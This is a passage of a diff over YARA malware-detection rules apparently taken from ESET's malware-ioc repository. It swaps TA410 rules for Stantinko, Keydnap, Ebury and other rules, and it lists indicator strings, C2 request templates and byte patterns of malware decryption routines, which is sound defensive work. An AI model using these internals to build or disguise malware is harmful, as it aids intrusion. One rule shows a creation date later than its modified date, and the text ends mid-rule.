$s4 = "std::vector<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii + $s5 = "CHTTPHeaderManager" fullword ascii + $s6 = "CHTTPPostItemManager *" fullword ascii + $s7 = "CHTTPHeaderManager *" fullword ascii + $s8 = "CHTTPPostItemManager" fullword ascii + $s9 = "CHTTPHeader" fullword ascii + $s10 = "CHTTPPostItem" fullword ascii + $s11 = "std::vector<CCookie *,std::allocator<CCookie *> >" fullword ascii + $s12 = "std::_Vector_val<CCookie *,std::allocator<CCookie *> >" fullword ascii + $s13 = "CCookieManager *" fullword ascii condition: - int16 ( 0 ) == 0x5A4D and 4 of them + ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 2 of ( $s* ) ) ) } -rule ESET_Apt_Windows_TA410_Tendyron_Installer +rule ESET_Stantinko_Pdb { meta: - description = "TA410 Tendyron Installer" - author = "ESET Research" - id = "95ccad1c-99fb-5d38-aec0-650db3e06b35" - date = "2020-12-09" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "24694e53-b89e-5cd3-ad53-e738bbd7d69d" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L55-L73" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L132-L148" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "9c3afb924747614f27c31cf2c3d98f4932a9d11597a3ac94263bf93be02801da" + logic_hash = "902c0ee086ce1a8def831d2f30c868165198c6c304faac3a93116a524f8e2fbf" score = 75 quality = 80 tags = "" - license = "BSD 2-Clause" - version = "1" + Author = "Frédéric Vachon" + Description = "Stantinko malware family PDB path" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $s1 = "Tendyron" wide - $s2 = "OnKeyToken_KEB.dll" wide - $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide - $s4 = "Global\\8D32CCB321B2" - $s5 = "\\RTFExploit\\" + $s1 = "D:\\work\\service\\service\\" ascii condition: - int16 ( 0 ) == 0x5A4D and 3 of them + all of them } -rule ESET_Apt_Windows_TA410_Tendyron_Downloader +rule ESET_Stantinko_Droppers : FILE { meta: - description = "TA410 Tendyron Downloader" - author = "ESET Research" - id = "afd8a2a7-8d58-5a96-b9e0-6f8b859e83c5" - date = "2020-12-09" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "fe2e6987-929a-59e3-a9ec-01a9f55fe589" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L75-L107" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L150-L170" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "16030a78ae9af8783f5913644294ceff861c8264ead8ca99435032be6d7949ef" + logic_hash = "c56fc85834a3e1bb1c14da37fb509c7de3009bf81d52800fe0093dc489f6deaa" score = 75 quality = 80 - tags = "" - license = "BSD 2-Clause" - version = "1" + tags = "FILE" + Author = "Marc-Etienne M.Léveillé" + Description = "Stantinko droppers" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $chunk_1 = { - 8A 10 - 80 F2 5C - 80 C2 5C - 88 10 - 40 - 83 E9 01 - 75 ?? - } - $s1 = "startModule" fullword + $s1 = {55 8B EC 83 EC 08 53 56 BE 80 F4 45 00 57 81 EE 80 0E 41 00 56 E8 6D 23 00 00 56 8B D8 68 80 0E 41 00 53 89 5D F8 E8 65 73 00 00 8B 0D FC F5 45} + $s2 = {7E 5E 7F 8C 08 46 00 00 AB 57 1A BB 91 5C 00 00 FA CC FD 76 90 3A 00 00} condition: - int16 ( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 1 of them } -rule ESET_Apt_Windows_TA410_X4_Strings + +rule ESET_Stantinko_D3D { meta: - description = "Matches various strings found in TA410 X4" - author = "ESET Research" - id = "e6af4516-8b79-5182-8571-7dd530632ddc" - date = "2020-10-09" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "6652e55c-96a0-55a7-9941-7f32bbf984e5" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L109-L125" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L172-L187" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "d4b2321a6d0eb0ca8d7c47596af2a45c22b3aef15d1832d64d6588a62cab312a" + logic_hash = "4e8da3f11df15e4aa469db62961ae390c4c4df2a5335eec0bdab19b14cc8343d" score = 75 - quality = 74 + quality = 80 tags = "" - license = "BSD 2-Clause" - version = "1" - - strings: - $s1 = "[X]InLoadSC" ascii wide nocase - $s3 = "MachineKeys\\Log\\rsa.txt" ascii wide nocase - $s4 = "MachineKeys\\Log\\output.log" ascii wide nocase + Author = "Marc-Etienne M.Léveillé" + Description = "Stantinko d3dadapter component" + Contact = "github@eset.com" + License = "BSD 2-Clause" condition: - any of them + pe.exports( "EntryPoint" ) and pe.exports ( "ServiceMain" ) and pe.imports ( "WININET.DLL" , "HttpAddRequestHeadersA" ) } -rule ESET_Apt_Windows_TA410_X4_Hash_Values : FILE +rule ESET_Stantinko_Ihctrl32 { meta: - description = "Matches X4 hash function found in TA410 X4" - author = "ESET Research" - id = "859bb977-82d0-5314-b1a8-fb3bb06a1b28" - date = "2020-10-09" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "e8ab9f78-f438-5d9b-8407-e6c7e241da2c" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L127-L149" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L189-L209" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "bcf3891ff888ca99af9aa0e239b29241ae819022607fb829c5731267add308ea" + logic_hash = "1829e08fb2289f738d0e75ad9977169e9a94379da764b1766f23fa47e8bc2543" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" - version = "1" + tags = "" + Author = "Marc-Etienne M.Léveillé" + Description = "Stantinko ihctrl32 component" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $s1 = {D1 10 76 C2 B6 03} - $s2 = {71 3E A8 0D} - $s3 = {DC 78 94 0E} - $s4 = {40 0D E7 D6 06} - $s5 = {83 BB FD E8 06} - $s6 = {92 9D 9B FF EC 03} - $s7 = {DD 0E FC FA F5 03} - $s8 = {15 60 1E FB F5 03} + $s1 = "ihctrl32.dll" + $s2 = "win32_hlp" + $s3 = "Ihctrl32Main" + $s4 = "I%citi%c%size%s%c%ci%s" + $s5 = "Global\\Intel_hctrl32" condition: - uint16( 0 ) == 0x5a4d and 4 of them + 2 of them } -rule ESET_Apt_Windows_TA410_X4_Hash_Fct : FILE +rule ESET_Stantinko_Wsaudio { meta: - description = "Matches X4 hash function found in TA410 X4" - author = "ESET Research" - id = "5ca435a4-7c6e-594d-8c4d-d577735884e6" - date = "2020-10-09" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "623f4ac7-03ec-52df-b7bf-0a2055453c52" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L151-L187" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L211-L233" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "3b2d44cb7685a99e9aeb08f886f6876d43ee99d1e52e40705c3fa97ce3bfa9a0" + logic_hash = "45d92f1475f316ba50a9a4a3dd519d1186ed16c68bd2debe326736a1e3154562" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" - version = "1" + tags = "" + Author = "Marc-Etienne M.Léveillé" + Description = "Stantinko wsaudio component" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $chunk_1 = { - 0F B6 01 - 84 C0 - 74 ?? - 48 69 D2 83 00 00 00 - 48 0F BE C0 - 48 03 D0 - 48 FF C1 - E9 ?? ?? ?? ?? - } + $s1 = "GetInterface" + $s2 = "wsaudio.dll" + $s3 = "Global\\Wsaudio_Initialize" + $s4 = "SOFTWARE\\Classes\\%s.FieldListCtrl.1\\" condition: - uint16( 0 ) == 0x5a4d and any of them + 2 of them } -rule ESET_Apt_Windows_TA410_Lookback_Decryption : FILE +rule ESET_Stantinko_Ghstore { meta: - description = "Matches encryption/decryption function used by LookBack." - author = "ESET Research" - id = "91947c6b-f357-5cf8-8522-4dcd517d01cb" - date = "2021-10-12" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "ef9f0c27-35ea-5dd5-925f-09b6e043569d" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L189-L254" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L235-L255" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "016dca6be654fcd193acc481e6a998efbb77e7ebd09b26614422be1136dd02c0" + logic_hash = "e5628d6ffb2d3684264b3a88c4d7b5d2ce8983aa22badf5839ccb8ba2e3ef2d4" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" - version = "1" + tags = "" + Author = "Marc-Etienne M.Léveillé" + Description = "Stantinko ghstore component" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $initialize = { - 8B C6 //mov eax, esi - 99 //cdq - 83 E2 03 //and edx, 3 - 03 C2 //add eax, edx - C1 F8 02 //sar eax, 2 - 8A C8 //mov cl, al - 02 C0 //add al, al - 02 C8 //add cl, al - 88 4C 34 10 //mov byte ptr [esp + esi + 0x10], cl - 46 //inc esi - 81 FE 00 01 00 00 //cmp esi, 0x100 - 72 ?? - } - $generate = { - 8A 94 1C 10 01 ?? ?? //mov dl, byte ptr [esp + ebx + 0x110] - 8D 8C 24 10 01 ?? ?? //lea ecx, [esp + 0x110] - 0F B6 C3 //movzx eax, bl - 0F B6 44 04 10 //movzx eax, byte ptr [esp + eax + 0x10] - 32 C2 //xor al, dl - 02 F0 //add dh, al - 0F B6 C6 //movzx eax, dh - 03 C8 //add ecx, eax - 0F B6 01 //movzx eax, byte ptr [ecx] - 88 84 1C 10 01 ?? ?? //mov byte ptr [esp + ebx + 0x110], al - 43 //inc ebx - 88 11 //mov byte ptr [ecx], dl - 81 FB 00 06 00 00 //cmp ebx, 0x600 - 72 ?? //jb 0x10025930 - } - $decrypt = { - 0F B6 C6 //movzx eax, dh - 8D 8C 24 10 01 ?? ?? //lea ecx, [esp + 0x110] - 03 C8 //add ecx, eax - 8A 19 //mov bl, byte ptr [ecx] - 8A C3 //mov al, bl - 02 C6 //add al, dh - FE C6 //inc dh - 02 F8 //add bh, al - 0F B6 C7 //movzx eax, bh - 8A 94 04 10 01 ?? ?? //mov dl, byte ptr [esp + eax + 0x110] - 88 9C 04 10 01 ?? ?? //mov byte ptr [esp + eax + 0x110], bl - 88 11 //mov byte ptr [ecx], dl - 0F B6 C2 //movzx eax, dl - 0F B6 CB //movzx ecx, bl - 33 C8 //xor ecx, eax - 8A 84 0C 10 01 ?? ?? //mov al, byte ptr [esp + ecx + 0x110] - 30 04 2E //xor byte ptr [esi + ebp], al - 46 //inc esi - 3B F7 //cmp esi, edi - 7C ?? //jl 0x10025980 - } + $s1 = "G%cost%sSt%c%s%s%ce%sr" wide + $s2 = "%cho%ct%sS%sa%c%s%crve%c" wide + $s3 = "Par%c%ce%c%c%s" wide + $s4 = "S%c%curity%c%s%c%s" wide + $s5 = "Sys%c%s%c%c%su%c%s%clS%c%s%serv%s%ces" wide condition: - uint16( 0 ) == 0x5a4d and all of them + 3 of them } -rule ESET_Apt_Windows_TA410_Lookback_Loader : FILE +rule ESET_Linux_Rakos { meta: - description = "Matches the modified function in LookBack libcurl loader." - author = "ESET Research" - id = "d0aac4f6-f72f-5adf-8f8f-9251bad70131" - date = "2021-10-12" - modified = "2022-04-27" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L256-L309" + description = "Linux/Rakos.A executable" + author = "Peter Kálnai" + id = "3c15401a-22c1-59e2-a979-1f9a6a990ae0" + date = "2016-12-13" + modified = "2016-12-19" + reference = "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/rakos/rakos.yar#L33-L53" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "98390dd664227ad747e5572771d12e7ebd2475d26db27e85508347ac6f44f3bf" + logic_hash = "79a02ada56bf75c5f178b58822eb905977cace3483453ea8cf4dfc32f6b6c30d" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" + tags = "" version = "1" + contact = "threatintel@eset.com" + license = "BSD 2-Clause" strings: - $chunk_1 = { - FF 15 ?? ?? ?? ?? //call dword ptr [0x100530e0] - 6A 40 //push 0x40 - 68 00 10 00 00 //push 0x1000 - 68 F0 04 00 00 //push 0x4f0 - 6A 00 //push 0 - FF 15 ?? ?? ?? ?? //call dword ptr [0x100530d4] - 8B E8 //mov ebp, eax - B9 3C 01 00 00 //mov ecx, 0x13c - BE 60 30 06 10 //mov esi, 0x10063060 - 8B FD //mov edi, ebp - 68 F0 04 00 00 //push 0x4f0 - F3 A5 //rep movsd dword ptr es:[edi], dword ptr [esi] - 55 //push ebp - E8 ?? ?? ?? ?? //call 0x100258d0 - 8B 0D ?? ?? ?? ?? //mov ecx, dword ptr [0x100530e4] - A1 ?? ?? ?? ?? //mov eax, dword ptr [0x100530c8] - 68 6C 02 00 00 //push 0x26c - 89 4C 24 ?? //mov dword ptr [esp + 0x1c], ecx - 89 44 24 ?? //mov dword ptr [esp + 0x20], eax - FF 15 ?? ?? ?? ?? //call dword ptr [0x10063038] - 8B D8 //mov ebx, eax - B9 9B 00 00 00 //mov ecx, 0x9b - BE 50 35 06 10 //mov esi, 0x10063550 - 8B FB //mov edi, ebx - 68 6C 02 00 00 //push 0x26c - F3 A5 //rep movsd dword ptr es:[edi], dword ptr [esi] - 53 //push ebx - E8 ?? ?? ?? ?? //call 0x100258d0 - 83 C4 14 //add esp, 0x14 - 8D 44 24 ?? //lea eax, [esp + 0x10] - 50 //push eax - 53 //push ebx - 8D 44 24 ?? //lea eax, [esp + 0x3c] - 50 //push eax - A1 ?? ?? ?? ?? //mov eax, dword ptr [0x10063058] - FF 74 24 ?? //push dword ptr [esp + 0x28] - 03 C5 //add eax, ebp - FF D0 //call eax - } + $ = "upgrade/vars.yaml" + $ = "MUTTER" + $ = "/tmp/.javaxxx" + $ = "uckmydi" condition: - uint16( 0 ) == 0x5a4d and all of them + 3 of them } - -rule ESET_Apt_Windows_TA410_Lookback_Strings : FILE +rule ESET_Keydnap_Downloader { meta: - description = "Matches multiple strings and export names in TA410 LookBack." - author = "ESET Research" - id = "b693c468-5abf-579d-bc03-67f67339feb9" - date = "2021-10-12" - modified = "2022-04-27" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L311-L331" + description = "OSX/Keydnap Downloader" + author = "Marc-Etienne M.Léveillé" + id = "2b21007a-b143-5538-8777-ba35448d00aa" + date = "2016-07-06" + modified = "2016-07-06" + reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/keydnap/keydnap.yar#L33-L49" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "d17ed604e3691c20fe489f95197b7b802ec951ed13d538fa6643449485b326b2" + logic_hash = "71c8885193a92fa9c71055c37e629a54d50070cf6820b9216a824ecc4db2ce3c" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" + tags = "" version = "1" strings: - $s1 = "SodomMainFree" ascii wide - $s2 = "SodomMainInit" ascii wide - $s3 = "SodomNormal.bin" ascii wide - $s4 = "SodomHttp.bin" ascii wide - $s5 = "sodom.ini" ascii wide - $s6 = "SodomMainProc" ascii wide + $ = "icloudsyncd" + $ = "killall Terminal" + $ = "open %s" condition: - uint16( 0 ) == 0x5a4d and ( 2 of them or pe.exports ( "SodomBodyLoad" ) or pe.exports ( "SodomBodyLoadTest" ) ) + 2 of them } -rule ESET_Apt_Windows_TA410_Lookback_HTTP : FILE +rule ESET_Keydnap_Backdoor_Packer { meta: - description = "Matches LookBack's hardcoded HTTP request" - author = "ESET Research" - id = "ca4ee437-5ac9-5715-90fb-e0e74a817bb5" - date = "2021-10-12" - modified = "2022-04-27" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L333-L349" + description = "OSX/Keydnap packed backdoor" + author = "Marc-Etienne M.Léveillé" + id = "f29ad5af-bc86-5764-9451-5a8363788c4e" + date = "2016-07-06" + modified = "2016-07-06" + reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/keydnap/keydnap.yar#L51-L67" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "0e777f56136cd11d62abdf4f120410d5fe9cd522cfc06afbf085414a96279bf7" + logic_hash = "b1740bf38376be81d3b42306c2ce81f578c0b5c9db804f063836bf98f57ed147" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" + tags = "" version = "1" strings: - $s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide - $s2 = "id=1&op=report&status=" + $upx_string = "This file is packed with the UPX" + $packer_magic = "ASS7" + $upx_magic = "UPX!" condition: - uint16( 0 ) == 0x5a4d and all of them + $upx_string and $packer_magic and not $upx_magic } -rule ESET_Apt_Windows_TA410_Lookback_Magic : FILE +rule ESET_Keydnap_Backdoor { meta: - description = "Matches message header creation in LookBack." - author = "ESET Research" - id = "5a40a307-772b-5600-9e58-f4bc6dfe6711" - date = "2021-10-12" - modified = "2022-04-27" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L351-L377" + description = "Unpacked OSX/Keydnap backdoor" + author = "Marc-Etienne M.Léveillé" + id = "099c1796-6237-5ec1-ba25-cd5feca79865" + date = "2016-07-06" + modified = "2016-07-06" + reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/keydnap/keydnap.yar#L69-L86" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "442a08a77fd2db03e507c0d5a32b17ab4e5936a209f7af23ef3c33a4b9f3d0d5" + logic_hash = "fa209577a562ef9088d3ad3df3fbc0edda96f09d19177842f0ddea42c658f530" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" + tags = "" version = "1" strings: - $s1 = { - C7 03 C2 2E AB 48 //mov dword ptr [ebx], 0x48ab2ec2 - ( A1 | 8B 15 ) ?? ?? ?? ?? //mov (eax | edx), x - [0-1] //push ebp - 89 ?3 04 //mov dword ptr [ebc + 4], reg - 8B 4? 24 ?? //mov reg, dword ptr [esp + X] - 89 4? 08 //mov dword ptr [ebx + 8], ?? - 89 ?? 0C //mov dword ptr [ebx + 0xc], ?? - 8B 4? 24 ?? //mov reg, dword ptr [esp + X] - [1-2] //push 1 or 2 args - E8 ?? ?? ?? ?? //call - } + $ = "api/osx/get_task" + $ = "api/osx/cmd_executed" + $ = "Loader-" + $ = "u2RLhh+!LGd9p8!ZtuKcN" + $ = "com.apple.iCloud.sync.daemon" condition: - uint16( 0 ) == 0x5a4d and all of them + 2 of them } -rule ESET_Apt_Windows_TA410_Flowcloud_Loader_Strings : FILE + +rule ESET_Libkeyutils_With_Ctor { meta: - description = "Matches various strings found in TA410 FlowCloud first stage." - author = "ESET Research" - id = "a3fb894f-8e26-5cbd-a1f2-8a9ab1db0901" - date = "2021-10-12" - modified = "2022-04-27" + description = "This rule detects if a libkeyutils.so shared library has a potentially malicious function to be called when loaded, either via a glibc constructor (DT_INIT + .ctors) or an initializer function in DT_INIT_ARRAY." + author = "ESET, spol. s r.o." + id = "7b466bf7-f895-569d-99b0-eca95a6ebc83" + date = "2024-02-01" + modified = "2024-04-29" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L379-L415" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/windigo/ebury.yar#L3-L54" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "3c90723e009ffe2603910566ac52a324256676ee3ff128d94427681010e10e8b" - score = 75 - quality = 78 - tags = "FILE" + hash = "e7debd6e453192ad8376db5bab03ed0d87566591" + logic_hash = "c6172aebc67a05fb044b0450aafcc71c7d1fd2831985587d1a9ad53f59e14214" + score = 40 + quality = 80 + tags = "" license = "BSD 2-Clause" - version = "1" + version = 2 strings: - $key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF" - $s2 = "startModule" fullword - $s4 = "auto_start_module" wide - $s5 = "load_main_module_after_install" wide - $s6 = "terminate_if_fail" wide - $s7 = "clear_run_mru" wide - $s8 = "install_to_vista" wide - $s9 = "load_ext_module" wide - $s10 = "sll_only" wide - $s11 = "fail_if_already_installed" wide - $s12 = "clear_hardware_info" wide - $s13 = "av_check" wide fullword - $s14 = "check_rs" wide - $s15 = "check_360" wide - $s16 = "responsor.dat" wide ascii - $s17 = "auto_start_after_install_check_anti" wide fullword - $s18 = "auto_start_after_install" wide fullword - $s19 = "extern_config.dat" wide fullword - $s20 = "is_hhw" wide fullword - $s21 = "SYSTEM\\Setup\\PrintResponsor" wide - $event = "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii - $s23 = "invalid encrypto hdr while decrypting" + $libname = "libkeyutils.so.1" condition: - uint16( 0 ) == 0x5a4d and ( $key or $event or 5 of ( $s* ) ) + for any ptr_size in ( 4 , 8 ) : ( ( ( ptr_size == 4 and elf.machine == elf.EM_386 ) or ( ptr_size == 8 and elf.machine == elf.EM_X86_64 ) ) and for any d in elf.dynamic : ( d.type == elf.DT_SONAME and ( for any s in elf.sections : ( s.name == ".dynstr" and $libname at ( s.offset + d.val ) ) or for any s in elf.dynamic : ( s.type == elf.DT_STRTAB and $libname at ( s.val + d.val ) ) ) ) and ( for any s in elf.sections : ( s.name == ".ctors" and s.size > 2 * ptr_size ) or for any d in elf.dynamic : ( d.type == elf.DT_INIT_ARRAYSZ and d.val > ptr_size ) ) ) } -rule ESET_Apt_Windows_TA410_Flowcloud_Header_Decryption : FILE +rule ESET_Ebury_V1_7_Crypto { meta: - description = "Matches the function used to decrypt resources headers in TA410 FlowCloud" - author = "ESET Research" - id = "403c1845-bc25-5a49-8553-8a0be18d6970" - date = "2026-01-22" - modified = "2022-04-27" + description = "This rule detects the strings decryption routine in Ebury v1.7 and v1.8" + author = "ESET, spol. s r.o." + id = "93dadf5f-b572-5217-8c82-4957c6d24955" + date = "2023-08-01" + modified = "2024-04-29" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L417-L496" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/windigo/ebury.yar#L56-L97" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "74b6c42bf2de159b2b0a15637e6bd94069367e3000c887714d6e3b50aa3646be" + hash = "e7debd6e453192ad8376db5bab03ed0d87566591" + logic_hash = "41908951069a472d7528f2f228f3681f008d16a0436e341d339909efc4933e66" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" + version = 1 strings: - $chunk_1 = { - 8B 1E - 8B CF - D3 CB - 8D 0C 28 - 83 C7 06 - 30 18 - 8B 1E - D3 CB - 8D 0C 02 - 30 58 ?? - 8B 1E - D3 CB - 8B 4C 24 ?? - 03 C8 - 30 58 ?? - 8B 1E - D3 CB - 8B 4C 24 ?? - 03 C8 - 30 58 ?? - 8B 1E - D3 CB - 8B 4C 24 ?? - 03 C8 - 83 C0 06 - 30 58 ?? - 8B 1E - D3 CB - 30 58 ?? - 83 FF 10 - 72 ?? + $64 = { + 48 69 ( 9C 24 ?? ?? ?? ?? | 5C 24 ?? | D2) 6D 4E C6 41 // imul rbx, [rsp+_buf], 41C64E6Dh + 8B (0C 16 | 34 07) // mov ecx, [rsi+rdx] + 48 81 C? 39 30 00 00 // add rbx, 12345 + ( 31 D? | // xor ecx, ebx + 31 D? 48 89 9C 24 ?? ?? ?? ?? | // mov [rsp+_buf], rbx + 31 D? 48 89 5C 24 ?? ) // ^ optional + 89 (0C 10 | 34 01) // mov [rax+rdx], ecx + 48 83 C? 04 // add rdx, 4 + 48 (81 FA | 3D ) ?? ?? ?? ?? // cmp rdx, _size + 75 D? // jnz short _begin + } + $32 = { + 69 C9 6D 4E C6 41 // imul ecx, 41C64E6Dh + 8B B4 1A ?? ?? ?? ?? // mov esi, [edx+ebx+_data] + 81 C1 39 30 00 00 // add ecx, 12345 + 31 CE // xor esi, ecx + 89 34 10 // mov [eax+edx], esi + 83 C2 04 // add edx, 4 + 81 FA ?? ?? ?? ?? // cmp edx, _size + 75 DD // jnz short loc_69A5 } condition: - uint16( 0 ) == 0x5a4d and all of them + any of them } -rule ESET_Apt_Windows_TA410_Flowcloud_Dll_Hijacking_Strings : FILE +rule ESET_Onimiki : LINUX_ONIMIKI { meta: - description = "Matches filenames inside TA410 FlowCloud malicious DLL." - author = "ESET Research" - id = "6636d4d0-0a7f-5971-a7f4-58803042d874" - date = "2021-10-12" - modified = "2022-04-27" + description = "Linux/Onimiki malicious DNS server" + author = "Olivier Bilodeau <bilodeau@eset.com>" + id = "3a99799f-fbb4-5fee-a796-3310acd10e17" + date = "2014-02-06" + modified = "2014-04-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L498-L517" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/windigo/windigo-onimiki.yar#L32-L59" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "e8082d4216364a12ba395f772b5caed94b3068d26a2b3a97ef711d61a82f65b3" + logic_hash = "eac30f5c9a9606d1d0e14c55e0532c54976fbb0d2e4f5cd2d9f719b77e07161a" score = 75 quality = 80 - tags = "FILE" + tags = "LINUX/ONIMIKI" + malware = "Linux/Onimiki" + operation = "Windigo" + contact = "windigo@eset.sk" license = "BSD 2-Clause" - version = "1" strings: - $dat1 = "emedres.dat" wide - $dat2 = "vviewres.dat" wide - $dat3 = "setlangloc.dat" wide - $dll1 = "emedres.dll" wide - $dll2 = "vviewres.dll" wide - $dll3 = "setlangloc.dll" wide + $a1 = {43 0F B6 74 2A 